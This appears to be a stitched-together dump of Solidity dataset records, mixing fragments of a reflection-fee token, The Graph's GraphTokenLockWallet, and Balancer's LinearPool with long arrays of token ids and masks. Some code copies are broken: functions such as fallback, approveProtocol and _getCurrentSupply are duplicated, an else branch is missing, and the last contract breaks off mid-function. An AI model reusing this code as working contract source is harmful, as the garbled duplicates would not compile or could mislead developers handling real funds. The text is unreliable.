rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tBurn = calculateBurnFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tLiquidity); return (tTransferAmount, tFee, tBurn, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _rewardLiquidityProviders(uint256 liquidityRewards) private { _tokenTransfer(address(this), uniswapV2Pair, liquidityRewards,false); IUniswapV2Pair(uniswapV2Pair).sync(); totalLiquidityProviderRewards = totalLiquidityProviderRewards.add(liquidityRewards); emit RewardLiquidityProviders(liquidityRewards); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateBurnFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_burnFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _burnFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousBurnFee = _burnFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _burnFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _burnFee = _previousBurnFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setBurnFeePercent(uint256 burnFee) external onlyOwner() { _burnFee = burnFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setLpRewardFromLiquidityPercent(uint256 percent) external onlyOwner() { _lpRewardFromLiquidity = percent; } function setMaxTxPercent(uint256 maxTxPercent, uint256 maxTxDecimals) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**(uint256(maxTxDecimals) + 2) ); } function setBurnLpTokenEnabled(bool value) external onlyOwner() { BurnLpTokensEnabled = value; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } receive() external payable {} }
13,301,821
[ 1, 22, 9, 21, 9, 871, 5444, 5157, 4649, 12521, 7381, 12, 11890, 5034, 1131, 5157, 4649, 12521, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 14060, 6586, 70, 5552, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 5267, 364, 1758, 31, 203, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 203, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 31, 203, 565, 1758, 8526, 3238, 389, 24602, 31, 203, 27699, 565, 1758, 3238, 389, 70, 321, 2864, 273, 374, 92, 12648, 12648, 12648, 12648, 12648, 31, 203, 27699, 565, 2254, 5034, 3238, 5381, 4552, 273, 4871, 11890, 5034, 12, 20, 1769, 203, 565, 2254, 5034, 3238, 389, 88, 5269, 273, 2130, 12648, 3784, 380, 1728, 636, 2643, 31, 203, 565, 2254, 5034, 3238, 389, 86, 5269, 273, 261, 6694, 300, 261, 6694, 738, 389, 88, 5269, 10019, 203, 565, 2254, 5034, 3238, 389, 88, 14667, 5269, 31, 203, 565, 2254, 5034, 3238, 389, 88, 38, 321, 5269, 31, 203, 203, 565, 533, 3238, 389, 529, 273, 315, 26946, 275, 265, 77, 14432, 203, 565, 533, 3238, 389, 7175, 273, 315, 55, 3993, 45, 14432, 203, 565, 2254, 28, 3238, 389, 31734, 273, 6549, 31, 203, 377, 203, 565, 2254, 5034, 1071, 389, 8066, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.3; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "./GraphTokenLock.sol"; import "./IGraphTokenLockManager.sol"; /** * @title GraphTokenLockWallet * @notice This contract is built on top of the base GraphTokenLock functionality. * It allows wallet beneficiaries to use the deposited funds to perform specific function calls * on specific contracts. * * The idea is that supporters with locked tokens can participate in the protocol * but disallow any release before the vesting/lock schedule. * The beneficiary can issue authorized function calls to this contract that will * get forwarded to a target contract. A target contract is any of our protocol contracts. * The function calls allowed are queried to the GraphTokenLockManager, this way * the same configuration can be shared for all the created lock wallet contracts. * * NOTE: Contracts used as target must have its function signatures checked to avoid collisions * with any of this contract functions. * Beneficiaries need to approve the use of the tokens to the protocol contracts. For convenience * the maximum amount of tokens is authorized. */ contract GraphTokenLockWallet is GraphTokenLock { using SafeMath for uint256; using SafeERC20 for IERC20; // -- State -- IGraphTokenLockManager public manager; uint256 public usedAmount; uint256 private constant MAX_UINT256 = 2**256 - 1; // -- Events -- event ManagerUpdated(address indexed _oldManager, address indexed _newManager); event TokenDestinationsApproved(); event TokenDestinationsRevoked(); // Initializer function initialize( address _manager, address _owner, address _beneficiary, address _token, uint256 _managedAmount, uint256 _startTime, uint256 _endTime, uint256 _periods, uint256 _releaseStartTime, uint256 _vestingCliffTime, Revocability _revocable ) external { _initialize( _owner, _beneficiary, _token, _managedAmount, _startTime, _endTime, _periods, _releaseStartTime, _vestingCliffTime, _revocable ); _setManager(_manager); } // -- Admin -- /** * @notice Sets a new manager for this contract * @param _newManager Address of the new manager */ function setManager(address _newManager) external onlyOwner { _setManager(_newManager); } /** * @dev Sets a new manager for this contract * @param _newManager Address of the new manager */ function _setManager(address _newManager) private { require(_newManager != address(0), "Manager cannot be empty"); require(Address.isContract(_newManager), "Manager must be a contract"); address oldManager = address(manager); manager = IGraphTokenLockManager(_newManager); emit ManagerUpdated(oldManager, _newManager); } // -- Beneficiary -- /** * @notice Approves protocol access of the tokens managed by this contract * @dev Approves all token destinations registered in the manager to pull tokens */ function approveProtocol() external onlyBeneficiary { address[] memory dstList = manager.getTokenDestinations(); for (uint256 i = 0; i < dstList.length; i++) { token.safeApprove(dstList[i], MAX_UINT256); } emit TokenDestinationsApproved(); } /** * @notice Revokes protocol access of the tokens managed by this contract * @dev Revokes approval to all token destinations in the manager to pull tokens */ function revokeProtocol() external onlyBeneficiary { address[] memory dstList = manager.getTokenDestinations(); for (uint256 i = 0; i < dstList.length; i++) { token.safeApprove(dstList[i], 0); } emit TokenDestinationsRevoked(); } /** * @notice Forward authorized contract calls to protocol contracts * @dev Fallback function can be called by the beneficiary only if function call is allowed */ fallback() external payable { // Only beneficiary can forward calls require(msg.sender == beneficiary, "Unauthorized caller"); // Function call validation address _target = manager.getAuthFunctionCallTarget(msg.sig); require(_target != address(0), "Unauthorized function"); uint256 oldBalance = currentBalance(); // Call function with data Address.functionCall(_target, msg.data); // Tracked used tokens in the protocol // We do this check after balances were updated by the forwarded call // Check is only enforced for revocable contracts to save some gas if (revocable == Revocability.Enabled) { // Track contract balance change uint256 newBalance = currentBalance(); if (newBalance < oldBalance) { // Outflow uint256 diff = oldBalance.sub(newBalance); usedAmount = usedAmount.add(diff); } else { // Inflow: We can receive profits from the protocol, that could make usedAmount to // underflow. We set it to zero in that case. uint256 diff = newBalance.sub(oldBalance); usedAmount = (diff >= usedAmount) ? 0 : usedAmount.sub(diff); } require(usedAmount <= vestedAmount(), "Cannot use more tokens than vested amount"); } } }
* @title GraphTokenLockWallet @notice This contract is built on top of the base GraphTokenLock functionality. It allows wallet beneficiaries to use the deposited funds to perform specific function calls on specific contracts. The idea is that supporters with locked tokens can participate in the protocol but disallow any release before the vesting/lock schedule. The beneficiary can issue authorized function calls to this contract that will get forwarded to a target contract. A target contract is any of our protocol contracts. The function calls allowed are queried to the GraphTokenLockManager, this way the same configuration can be shared for all the created lock wallet contracts. NOTE: Contracts used as target must have its function signatures checked to avoid collisions with any of this contract functions. Beneficiaries need to approve the use of the tokens to the protocol contracts. For convenience the maximum amount of tokens is authorized./ -- State -- -- Events -- Initializer
contract GraphTokenLockWallet is GraphTokenLock { using SafeMath for uint256; using SafeERC20 for IERC20; IGraphTokenLockManager public manager; uint256 public usedAmount; uint256 private constant MAX_UINT256 = 2**256 - 1; event ManagerUpdated(address indexed _oldManager, address indexed _newManager); event TokenDestinationsApproved(); event TokenDestinationsRevoked(); function initialize( address _manager, address _owner, address _beneficiary, address _token, uint256 _managedAmount, uint256 _startTime, uint256 _endTime, uint256 _periods, uint256 _releaseStartTime, uint256 _vestingCliffTime, Revocability _revocable ) external { _initialize( _owner, _beneficiary, _token, _managedAmount, _startTime, _endTime, _periods, _releaseStartTime, _vestingCliffTime, _revocable ); _setManager(_manager); } function setManager(address _newManager) external onlyOwner { _setManager(_newManager); } function _setManager(address _newManager) private { require(_newManager != address(0), "Manager cannot be empty"); require(Address.isContract(_newManager), "Manager must be a contract"); address oldManager = address(manager); manager = IGraphTokenLockManager(_newManager); emit ManagerUpdated(oldManager, _newManager); } function approveProtocol() external onlyBeneficiary { address[] memory dstList = manager.getTokenDestinations(); for (uint256 i = 0; i < dstList.length; i++) { token.safeApprove(dstList[i], MAX_UINT256); } emit TokenDestinationsApproved(); } function approveProtocol() external onlyBeneficiary { address[] memory dstList = manager.getTokenDestinations(); for (uint256 i = 0; i < dstList.length; i++) { token.safeApprove(dstList[i], MAX_UINT256); } emit TokenDestinationsApproved(); } function revokeProtocol() external onlyBeneficiary { address[] memory dstList = manager.getTokenDestinations(); for (uint256 i = 0; i < dstList.length; i++) { token.safeApprove(dstList[i], 0); } emit TokenDestinationsRevoked(); } function revokeProtocol() external onlyBeneficiary { address[] memory dstList = manager.getTokenDestinations(); for (uint256 i = 0; i < dstList.length; i++) { token.safeApprove(dstList[i], 0); } emit TokenDestinationsRevoked(); } fallback() external payable { require(msg.sender == beneficiary, "Unauthorized caller"); address _target = manager.getAuthFunctionCallTarget(msg.sig); require(_target != address(0), "Unauthorized function"); uint256 oldBalance = currentBalance(); Address.functionCall(_target, msg.data); if (revocable == Revocability.Enabled) { uint256 newBalance = currentBalance(); if (newBalance < oldBalance) { uint256 diff = oldBalance.sub(newBalance); usedAmount = usedAmount.add(diff); uint256 diff = newBalance.sub(oldBalance); usedAmount = (diff >= usedAmount) ? 0 : usedAmount.sub(diff); } require(usedAmount <= vestedAmount(), "Cannot use more tokens than vested amount"); } } fallback() external payable { require(msg.sender == beneficiary, "Unauthorized caller"); address _target = manager.getAuthFunctionCallTarget(msg.sig); require(_target != address(0), "Unauthorized function"); uint256 oldBalance = currentBalance(); Address.functionCall(_target, msg.data); if (revocable == Revocability.Enabled) { uint256 newBalance = currentBalance(); if (newBalance < oldBalance) { uint256 diff = oldBalance.sub(newBalance); usedAmount = usedAmount.add(diff); uint256 diff = newBalance.sub(oldBalance); usedAmount = (diff >= usedAmount) ? 0 : usedAmount.sub(diff); } require(usedAmount <= vestedAmount(), "Cannot use more tokens than vested amount"); } } fallback() external payable { require(msg.sender == beneficiary, "Unauthorized caller"); address _target = manager.getAuthFunctionCallTarget(msg.sig); require(_target != address(0), "Unauthorized function"); uint256 oldBalance = currentBalance(); Address.functionCall(_target, msg.data); if (revocable == Revocability.Enabled) { uint256 newBalance = currentBalance(); if (newBalance < oldBalance) { uint256 diff = oldBalance.sub(newBalance); usedAmount = usedAmount.add(diff); uint256 diff = newBalance.sub(oldBalance); usedAmount = (diff >= usedAmount) ? 0 : usedAmount.sub(diff); } require(usedAmount <= vestedAmount(), "Cannot use more tokens than vested amount"); } } } else { }
12,875,839
[ 1, 4137, 1345, 2531, 16936, 225, 1220, 6835, 353, 6650, 603, 1760, 434, 326, 1026, 5601, 1345, 2531, 14176, 18, 2597, 5360, 9230, 27641, 74, 14463, 5646, 358, 999, 326, 443, 1724, 329, 284, 19156, 358, 3073, 2923, 445, 4097, 603, 2923, 20092, 18, 1021, 21463, 353, 716, 1169, 3831, 5432, 598, 8586, 2430, 848, 30891, 340, 316, 326, 1771, 1496, 29176, 1281, 3992, 1865, 326, 331, 10100, 19, 739, 4788, 18, 1021, 27641, 74, 14463, 814, 848, 5672, 10799, 445, 4097, 358, 333, 6835, 716, 903, 336, 19683, 358, 279, 1018, 6835, 18, 432, 1018, 6835, 353, 1281, 434, 3134, 1771, 20092, 18, 1021, 445, 4097, 2935, 854, 23264, 358, 326, 5601, 1345, 2531, 1318, 16, 333, 4031, 326, 1967, 1664, 848, 506, 5116, 364, 777, 326, 2522, 2176, 9230, 20092, 18, 5219, 30, 30131, 1399, 487, 1018, 1297, 1240, 2097, 445, 14862, 5950, 358, 4543, 27953, 598, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 5601, 1345, 2531, 16936, 353, 5601, 1345, 2531, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 203, 565, 467, 4137, 1345, 2531, 1318, 1071, 3301, 31, 203, 565, 2254, 5034, 1071, 1399, 6275, 31, 203, 203, 565, 2254, 5034, 3238, 5381, 4552, 67, 57, 3217, 5034, 273, 576, 636, 5034, 300, 404, 31, 203, 203, 203, 565, 871, 8558, 7381, 12, 2867, 8808, 389, 1673, 1318, 16, 1758, 8808, 389, 2704, 1318, 1769, 203, 565, 871, 3155, 27992, 31639, 5621, 203, 565, 871, 3155, 27992, 10070, 14276, 5621, 203, 203, 565, 445, 4046, 12, 203, 3639, 1758, 389, 4181, 16, 203, 3639, 1758, 389, 8443, 16, 203, 3639, 1758, 389, 70, 4009, 74, 14463, 814, 16, 203, 3639, 1758, 389, 2316, 16, 203, 3639, 2254, 5034, 389, 19360, 6275, 16, 203, 3639, 2254, 5034, 389, 1937, 950, 16, 203, 3639, 2254, 5034, 389, 409, 950, 16, 203, 3639, 2254, 5034, 389, 20659, 16, 203, 3639, 2254, 5034, 389, 9340, 13649, 16, 203, 3639, 2254, 5034, 389, 90, 10100, 2009, 3048, 950, 16, 203, 3639, 14477, 504, 2967, 389, 9083, 504, 429, 203, 203, 565, 262, 3903, 288, 203, 3639, 389, 11160, 12, 203, 5411, 389, 8443, 16, 203, 5411, 389, 70, 4009, 74, 14463, 814, 16, 203, 5411, 389, 2316, 16, 203, 5411, 389, 19360, 6275, 16, 203, 5411, 389, 1937, 950, 16, 203, 5411, 389, 409, 950, 16, 203, 5411, 389, 20659, 16, 203, 5411, 2 ]
// SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BalancerErrors.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ERC20Helpers.sol"; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-pool-utils/contracts/LegacyBasePool.sol"; import "@balancer-labs/v2-pool-utils/contracts/interfaces/IRateProvider.sol"; import "@balancer-labs/v2-pool-utils/contracts/rates/PriceRateCache.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IGeneralPool.sol"; import "./LinearMath.sol"; import "./LinearPoolUserData.sol"; /** * @dev Linear Pools are designed to hold two assets: "main" and "wrapped" tokens that have an equal value underlying * token (e.g., DAI and waDAI). There must be an external feed available to provide an exact, non-manipulable exchange * rate between the tokens. In particular, any reversible manipulation (e.g. causing the rate to increase and then * decrease) can lead to severe issues and loss of funds. * * The Pool will register three tokens in the Vault however: the two assets and the BPT itself, * so that BPT can be exchanged (effectively joining and exiting) via swaps. * * Despite inheriting from BasePool, much of the basic behavior changes. This Pool does not support regular joins and * exits, as the entire BPT supply is 'preminted' during initialization. * * Unlike most other Pools, this one does not attempt to create revenue by charging fees: value is derived by holding * the wrapped, yield-bearing asset. However, the 'swap fee percentage' value is still used, albeit with a different * meaning. This Pool attempts to hold a certain amount of "main" tokens, between a lower and upper target value. * The pool charges fees on trades that move the balance outside that range, which are then paid back as incentives to * traders whose swaps return the balance to the desired region. * The net revenue via fees is expected to be zero: all collected fees are used to pay for this 'rebalancing'. */ abstract contract LinearPool is LegacyBasePool, IGeneralPool, IRateProvider { using WordCodec for bytes32; using FixedPoint for uint256; using PriceRateCache for bytes32; using LinearPoolUserData for bytes; uint256 private constant _TOTAL_TOKENS = 3; // Main token, wrapped token, BPT // This is the maximum token amount the Vault can hold. In regular operation, the total BPT supply remains constant // and equal to _INITIAL_BPT_SUPPLY, but most of it remains in the Pool, waiting to be exchanged for tokens. The // actual amount of BPT in circulation is the total supply minus the amount held by the Pool, and is known as the // 'virtual supply'. // The total supply can only change if the emergency pause is activated by governance, enabling an // alternative proportional exit that burns BPT. As this is not expected to happen, we optimize for // success by using _INITIAL_BPT_SUPPLY instead of totalSupply(), saving a storage read. This optimization is only // valid if the Pool is never paused: in case of an emergency that leads to burned tokens, the Pool should not // be used after the buffer period expires and it automatically 'unpauses'. uint256 private constant _INITIAL_BPT_SUPPLY = 2**(112) - 1; IERC20 private immutable _mainToken; IERC20 private immutable _wrappedToken; // The indices of each token when registered, which can then be used to access the balances array. uint256 private immutable _bptIndex; uint256 private immutable _mainIndex; uint256 private immutable _wrappedIndex; // Both BPT and the main token have a regular, constant scaling factor (equal to FixedPoint.ONE for BPT, and // dependent on the number of decimals for the main token). However, the wrapped token's scaling factor has two // components: the usual token decimal scaling factor, and an externally provided rate used to convert wrapped // tokens to an equivalent main token amount. This external rate is expected to be ever increasing, reflecting the // fact that the wrapped token appreciates in value over time (e.g. because it is accruing interest). uint256 private immutable _scalingFactorMainToken; uint256 private immutable _scalingFactorWrappedToken; // The lower and upper target are in BasePool's misc data field, which has 192 bits available (as it shares the same // storage slot as the swap fee percentage, which is 64 bits). These are already scaled by the main token's scaling // factor, which means that the maximum upper target is ~80 billion in the main token units if the token were to // have 18 decimals (2^(192/2) / 10^18), which is more than enough. // [ 64 bits | 96 bits | 96 bits ] // [ reserved | upper target | lower target ] // [ base pool swap fee | misc data ] // [ MSB LSB ] uint256 private constant _LOWER_TARGET_OFFSET = 0; uint256 private constant _UPPER_TARGET_OFFSET = 96; uint256 private constant _MAX_UPPER_TARGET = 2**(96) - 1; event TargetsSet(IERC20 indexed token, uint256 lowerTarget, uint256 upperTarget); constructor( IVault vault, string memory name, string memory symbol, IERC20 mainToken, IERC20 wrappedToken, uint256 upperTarget, uint256 swapFeePercentage, uint256 pauseWindowDuration, uint256 bufferPeriodDuration, address owner ) LegacyBasePool( vault, IVault.PoolSpecialization.GENERAL, name, symbol, _sortTokens(mainToken, wrappedToken, this), new address[](_TOTAL_TOKENS), swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) { // Set tokens _mainToken = mainToken; _wrappedToken = wrappedToken; // Set token indexes (uint256 mainIndex, uint256 wrappedIndex, uint256 bptIndex) = _getSortedTokenIndexes( mainToken, wrappedToken, this ); _bptIndex = bptIndex; _mainIndex = mainIndex; _wrappedIndex = wrappedIndex; // Set scaling factors _scalingFactorMainToken = _computeScalingFactor(mainToken); _scalingFactorWrappedToken = _computeScalingFactor(wrappedToken); // Set initial targets. Lower target must be set to zero because initially there are no fees accumulated. // Otherwise the pool will owe fees at start which results in a manipulable rate. uint256 lowerTarget = 0; _setTargets(mainToken, lowerTarget, upperTarget); } function getMainToken() public view returns (address) { return address(_mainToken); } function getWrappedToken() public view returns (address) { return address(_wrappedToken); } function getBptIndex() external view returns (uint256) { return _bptIndex; } function getMainIndex() external view returns (uint256) { return _mainIndex; } function getWrappedIndex() external view returns (uint256) { return _wrappedIndex; } /** * @dev Finishes initialization of the Linear Pool: it is unusable before calling this function as no BPT will have * been minted. * * Since Linear Pools have preminted BPT stored in the Vault, they require an initial join to deposit said BPT as * their balance. Unfortunately, this cannot be performed during construction, as a join involves calling the * `onJoinPool` function on the Pool, and the Pool will not have any code until construction finishes. Therefore, * this must happen in a separate call. * * It is highly recommended to create Linear pools using the LinearPoolFactory, which calls `initialize` * automatically. */ function initialize() external { bytes32 poolId = getPoolId(); (IERC20[] memory tokens, , ) = getVault().getPoolTokens(poolId); // Joins typically involve the Pool receiving tokens in exchange for newly-minted BPT. In this case however, the // Pool will mint the entire BPT supply to itself, and join itself with it. uint256[] memory maxAmountsIn = new uint256[](_TOTAL_TOKENS); maxAmountsIn[_bptIndex] = _INITIAL_BPT_SUPPLY; // The first time this executes, it will call `_onInitializePool` (as the BPT supply will be zero). Future calls // will be routed to `_onJoinPool`, which always reverts, meaning `initialize` will only execute once. IVault.JoinPoolRequest memory request = IVault.JoinPoolRequest({ assets: _asIAsset(tokens), maxAmountsIn: maxAmountsIn, userData: "", fromInternalBalance: false }); getVault().joinPool(poolId, address(this), address(this), request); } /** * @dev Implementation of onSwap, from IGeneralPool. */ function onSwap( SwapRequest memory request, uint256[] memory balances, uint256 indexIn, uint256 indexOut ) public view override onlyVault(request.poolId) whenNotPaused returns (uint256) { // In most Pools, swaps involve exchanging one token held by the Pool for another. In this case however, since // one of the three tokens is the BPT itself, a swap might also be a join (main/wrapped for BPT) or an exit // (BPT for main/wrapped). // All three swap types (swaps, joins and exits) are fully disabled if the emergency pause is enabled. Under // these circumstances, the Pool should be exited using the regular Vault.exitPool function. // Sanity check: this is not entirely necessary as the Vault's interface enforces the indices to be valid, but // the check is cheap to perform. _require(indexIn < _TOTAL_TOKENS && indexOut < _TOTAL_TOKENS, Errors.OUT_OF_BOUNDS); // Note that we already know the indices of the main token, wrapped token and BPT, so there is no need to pass // these indices to the inner functions. // Upscale balances by the scaling factors (taking into account the wrapped token rate) uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 lowerTarget, uint256 upperTarget) = getTargets(); LinearMath.Params memory params = LinearMath.Params({ fee: getSwapFeePercentage(), lowerTarget: lowerTarget, upperTarget: upperTarget }); if (request.kind == IVault.SwapKind.GIVEN_IN) { // The amount given is for token in, the amount calculated is for token out request.amount = _upscale(request.amount, scalingFactors[indexIn]); uint256 amountOut = _onSwapGivenIn(request, balances, params); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactors[indexOut]); } else { // The amount given is for token out, the amount calculated is for token in request.amount = _upscale(request.amount, scalingFactors[indexOut]); uint256 amountIn = _onSwapGivenOut(request, balances, params); // amountIn tokens are entering the Pool, so we round up. return _downscaleUp(amountIn, scalingFactors[indexIn]); } } function _onSwapGivenIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { if (request.tokenIn == this) { return _swapGivenBptIn(request, balances, params); } else if (request.tokenIn == _mainToken) { return _swapGivenMainIn(request, balances, params); } else if (request.tokenIn == _wrappedToken) { return _swapGivenWrappedIn(request, balances, params); } else { _revert(Errors.INVALID_TOKEN); } } function _swapGivenBptIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenOut == _mainToken || request.tokenOut == _wrappedToken, Errors.INVALID_TOKEN); return (request.tokenOut == _mainToken ? LinearMath._calcMainOutPerBptIn : LinearMath._calcWrappedOutPerBptIn)( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ); } function _swapGivenMainIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenOut == _wrappedToken || request.tokenOut == this, Errors.INVALID_TOKEN); return request.tokenOut == this ? LinearMath._calcBptOutPerMainIn( request.amount, balances[_mainIndex], balances[_wrappedIndex], _getApproximateVirtualSupply(balances[_bptIndex]), params ) : LinearMath._calcWrappedOutPerMainIn(request.amount, balances[_mainIndex], params); } function _swapGivenWrappedIn( SwapRequest memory request, uint256[] memory balances, LinearMath.Params memory params ) internal view returns (uint256) { _require(request.tokenOut == _mainToken || request.tokenOut == this, 